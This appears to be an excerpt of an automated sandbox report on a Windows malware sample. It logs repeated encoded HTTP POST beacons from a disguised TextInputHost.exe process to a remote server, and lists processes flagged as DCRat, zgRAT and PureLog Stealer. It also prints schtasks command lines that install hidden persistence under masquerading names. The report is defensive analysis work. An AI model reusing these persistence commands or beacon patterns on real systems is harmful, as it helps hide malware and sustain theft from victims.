Apr 2, 2024 23:43:54.263046026 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:54.541485071 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:54.541661024 CEST	2552	OUT	Data Raw: 5f 5f 58 53 55 44 51 5e 5d 5c 52 54 56 5c 50 5c 59 52 5f 59 52 5b 57 51 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __XSUDQ^]\RTV\P\YR_YR[WQP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.6U2!15'7]*;8[:0'X65<0.<\;7+8[=9Y /P,
Apr 2, 2024 23:43:54.826231003 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49841	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:55.233894110 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:55.511956930 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:55.512131929 CEST	2552	OUT	Data Raw: 5f 5e 5d 53 55 45 54 5a 5d 5c 52 54 56 5d 50 50 59 55 5f 5e 52 58 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _^]SUETZ]\RTV]PPYU_^RXW^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\9>!Y5#9!W"')4)8-3?^"( <?"(\)9Y /P,
Apr 2, 2024 23:43:55.796628952 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49842	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:56.204808950 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:43:56.487190008 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:56.487463951 CEST	2552	OUT	Data Raw: 5f 5c 5d 51 55 47 54 5c 5d 5c 52 54 56 54 50 57 59 50 5f 5f 52 5c 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _\]QUGT\]\RTVTPWYP__R\WPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.5[!0!!1!&9<?89!:(<:#(3==9Y /P,,
Apr 2, 2024 23:43:56.776308060 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49843	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:57.177515030 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:57.459712982 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:57.459887981 CEST	2544	OUT	Data Raw: 5a 5c 5d 57 50 47 54 5a 5d 5c 52 54 56 55 50 55 59 55 5f 5f 52 52 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z\]WPGTZ]\RTVUPUYU__RRW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___']:>"!#!6)X$7X>+ .3"5?0"(\(E 8?=9Y /P,0
Apr 2, 2024 23:43:57.747417927 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49844	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:58.146615982 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:58.431370974 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:58.431664944 CEST	2552	OUT	Data Raw: 5f 5c 58 57 55 49 54 5b 5d 5c 52 54 56 54 50 54 59 57 5f 57 52 59 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _\XWUIT[]\RTVTPTYW_WRYW\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$--1["61!\0?9#]")(!< "8(9Y /P,,
Apr 2, 2024 23:43:58.721801043 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49845	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:43:59.125809908 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:43:59.407584906 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:43:59.407747984 CEST	2552	OUT	Data Raw: 5f 51 58 57 55 40 54 5c 5d 5c 52 54 56 52 50 56 59 52 5f 5b 52 58 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _QXWU@T\]\RTVRPVYR_[RXW^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\,.5[ 0%#153 >(_,3'6+W()9' ])=9Y /P,
Apr 2, 2024 23:43:59.695396900 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:43:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49846	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:44:01.091711044 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:44:01.373961926 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:44:01.374223948 CEST	1868	OUT	Data Raw: 5a 5c 5d 50 55 48 51 51 5d 5c 52 54 56 51 50 56 59 56 5f 5e 52 59 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z\]PUHQQ]\RTVQPVYV_^RYW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.""!)'9/>4Z97Y!+:Q(V**) D#>9Y /P,8
Apr 2, 2024 23:44:01.662559986 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:44:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 57 3f 1c 30 02 37 5e 33 08 3c 1f 0b 0e 33 0e 21 5b 2e 3e 03 10 28 07 38 01 2d 05 24 1d 22 06 2f 14 2b 33 0c 01 31 07 23 03 33 0d 2b 59 01 13 26 07 2b 05 3c 50 25 32 0a 0d 32 01 25 00 24 09 01 40 2b 3b 27 0f 24 04 35 54 2b 1d 3b 04 28 20 21 56 29 29 2f 12 2c 02 2e 01 36 1e 2a 5e 0c 17 22 53 3c 39 2c 05 31 34 3b 00 28 22 23 11 29 25 3f 00 2a 5f 2b 55 32 5a 26 06 3e 06 3b 0f 32 3d 25 1f 3e 2d 39 1f 21 22 23 1d 3d 02 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'W?07^3<3![.>(8-$"/+31#3+Y&+<P%22%$@+;'$5T+;( !V))/,.6^"S<9,14;("#)%?_+U2Z&>;2=%>-9!"#='] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49847	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:44:01.339602947 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:44:01.621917963 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:44:01.622070074 CEST	2552	OUT	Data Raw: 5a 5f 5d 57 55 49 51 5a 5d 5c 52 54 56 50 50 54 59 53 5f 59 52 52 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z_]WUIQZ]\RTVPPTYS_YRRW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\.>! 2!"!_&)#^)84.?!;:)0?* #?>9Y /P,<
Apr 2, 2024 23:44:01.909955025 CEST	207	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:44:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49848	62.109.7.175	80

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:44:23.351800919 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:44:23.629692078 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:44:23.629829884 CEST	2552	OUT	Data Raw: 5f 5f 5d 50 55 46 51 5c 5d 5c 52 54 56 56 50 54 59 5a 5f 5e 52 5c 57 51 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __]PUFQ\]\RTVVPTYZ_^R\WQP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\...5 &!"%^$4)'-0?Y"^(!?)4C7;$9Y /P,$
Apr 2, 2024 23:44:23.913727045 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:44:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Target ID:	0
Start time:	23:41:55
Start date:	02/04/2024
Path:	C:\Users\user\Desktop\1tQ7HC6GOS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1tQ7HC6GOS.exe"
Imagebase:	0x400000
File size:	70'169'088 bytes
MD5 hash:	77F8F69A2DFE223CCA4CF0E5FAD714FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:41:58
Start date:	02/04/2024
Path:	C:\Users\user\AppData\Local\Temp\5GG.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\5GG.exe"
Imagebase:	0x7ff7e54a0000
File size:	67'013'737 bytes
MD5 hash:	D8C47724D1AC161564731578199131FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 16%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	23:41:58
Start date:	02/04/2024
Path:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Imagebase:	0x870000
File size:	3'996'370 bytes
MD5 hash:	CC2DB8C6905895E60C7E99B2A0D3BF24
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000003.1664295884.0000000005308000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000003.1663486823.00000000051FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 64%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:42:00
Start date:	02/04/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe"
Imagebase:	0x500000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:42:05
Start date:	02/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\MsComponentSvc\MXgWX4.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:42:05
Start date:	02/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:42:05
Start date:	02/04/2024
Path:	C:\MsComponentSvc\hyperServer.exe
Wow64 process (32bit):	false
Commandline:	"C:\MsComponentSvc/hyperServer.exe"
Imagebase:	0x90000
File size:	3'674'624 bytes
MD5 hash:	DF7F61CEDD325D4A957DC5E5D5B382FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000006.00000000.1726122592.0000000000092000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000006.00000002.1826950535.00000000127A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\MsComponentSvc\hyperServer.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\MsComponentSvc\hyperServer.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:42:11
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:42:12
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:42:12
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 6 /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:42:12
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:42:12
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXH" /sc ONLOGON /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:42:12
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "oZTcEkJaieSsRsrMRoYKmeAXHo" /sc MINUTE /mo 8 /tr "'C:\Users\Default User\Documents\My Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 11 /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:42:13
Start date:	02/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\apppatch\AppPatch64\TextInputHost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:42:13
Start date:	02/04/2024
